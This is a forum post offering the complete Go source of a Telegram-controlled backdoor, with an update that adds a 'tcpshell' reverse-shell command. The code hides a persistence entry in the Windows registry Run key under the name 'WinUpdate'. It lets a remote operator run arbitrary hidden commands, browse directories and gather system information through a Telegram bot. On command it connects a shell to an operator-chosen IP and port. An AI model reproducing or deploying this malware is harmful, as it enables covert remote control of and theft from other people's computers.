Пожалуйста, обратите внимание, что пользователь заблокирован
hello this is my update for my telegram backdoor source code, enjoy this!!
new feature tcpshell, get interactive reverse shell for netcat work on linux and windows
command usage:
/tcpshell netcat_ip:netcat_port
new feature tcpshell, get interactive reverse shell for netcat work on linux and windows
command usage:
/tcpshell netcat_ip:netcat_port
Код:
package main
/*
comment line with syscall.SysProcAttr and imported "syscall" package for compile
on linux or other systems
*/
import (
"os"
"log"
"net"
"time"
"sync"
"runtime"
"strconv"
"os/exec"
"syscall"
"strings"
tele "gopkg.in/telebot.v3"
)
var (
thread = sync.WaitGroup{}
TOKEN = "YOUR_TELEGRAM_BOT_API_TOKEN"
)
func SetPersistence() {
defer thread.Done()
mype,_ := os.Executable()
per := exec.Command("cmd.exe", "/c", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \" /v WinUpdate /t REG_SZ /d \"" + mype + "\" /f")
per.CombinedOutput()
}
func ExecCmd(Cmd string, botSender tele.Context) string {
defer thread.Done()
cmd := exec.Command("cmd.exe", "/c", Cmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
if err != nil {
botSender.Send(err.Error())
return ""
}
botSender.Send(string(output))
return ""
}
func GetHelp() string {
help := "/help show this\n"
help += "/exec execute any command\n"
help += "/cd change working dir\n"
help += "/pwd get current worling dir\n"
help += "/info get basic info\n"
help += "/pid get this process pid\n"
help += "/start start bot message\n"
help += "/tcpshell start revere netcat shell to address example (127.0.0.1:9090)\n"
return help
}
func DeleteSpaces(Data string) string {
return strings.ReplaceAll(Data, " ", "")
}
func Pwd() string {
pwd,_ := os.Getwd()
return pwd
}
func GetPid() string {
return "process pid: " + strconv.Itoa(os.Getpid())
}
func ChangeDir(Target string) string {
if err := os.Chdir(Target); err != nil {
if os.Chdir(strings.ReplaceAll(Target, " ", "")) != nil {
return "error to change dir to " + Target
} else {
return Pwd()
}
return "error to change dir to " + Target
}
return Pwd()
}
func GetInfo() string {
pwdc,_ := os.Getwd()
execf,_ := os.Executable()
core := strconv.Itoa(runtime.NumCPU())
plat := runtime.GOOS + "/" + runtime.GOARCH
info := "\nbasic info\n"
info += "\npwd : " + pwdc
info += "\npefile : " + execf
info += "\ncores : " + core
info += "\nplatform : " + plat
return info
}
func GetShellName() string {
if runtime.GOOS == "windows" {
return "cmd.exe"
}
return "/bin/sh"
}
func ReverseShell(Addr string) {
shell := GetShellName()
cmd := exec.Command(shell)
defer thread.Done()
con,err := net.Dial("tcp", DeleteSpaces(Addr))
if err != nil {
return
}
/*
redirect shell output, error, input to tcp socket connection
*/
cmd.Stderr = con
cmd.Stdout = con
cmd.Stdin = con
cmd.Run()
}
func Setup() {
conf := tele.Settings{Token: TOKEN,Poller: &tele.LongPoller{Timeout: 10 * time.Second},}
bot, botErr := tele.NewBot(conf)
if botErr != nil {
log.Println(botErr.Error())
return
}
bot.Handle("/start", func(sender tele.Context) error {
return sender.Send("enjoy this access.. !")
})
bot.Handle("/exec", func(sender tele.Context) error {
thread.Add(1)
go ExecCmd(sender.Message().Payload, sender)
return nil
})
bot.Handle("/pwd", func(sender tele.Context) error {
return sender.Send(Pwd())
})
bot.Handle("/info", func(sender tele.Context) error {
return sender.Send(GetInfo())
})
bot.Handle("/cd", func(sender tele.Context) error {
return sender.Send(ChangeDir(sender.Message().Payload))
})
bot.Handle("/pid", func(sender tele.Context) error {
return sender.Send(GetPid())
})
bot.Handle("/tcpshell", func(sender tele.Context) error {
thread.Add(1)
go ReverseShell(sender.Message().Payload)
return sender.Send("starting reverse shell on " + sender.Message().Payload)
})
bot.Handle("/help", func(sender tele.Context) error {
return sender.Send(GetHelp())
})
bot.Start()
}
func Loop() {
defer thread.Done()
thread.Add(1)
go SetPersistence()
for {
Setup()
time.Sleep(time.Second * 2)
}
}
func main() {
thread.Add(1)
go Loop()
thread.Wait()
}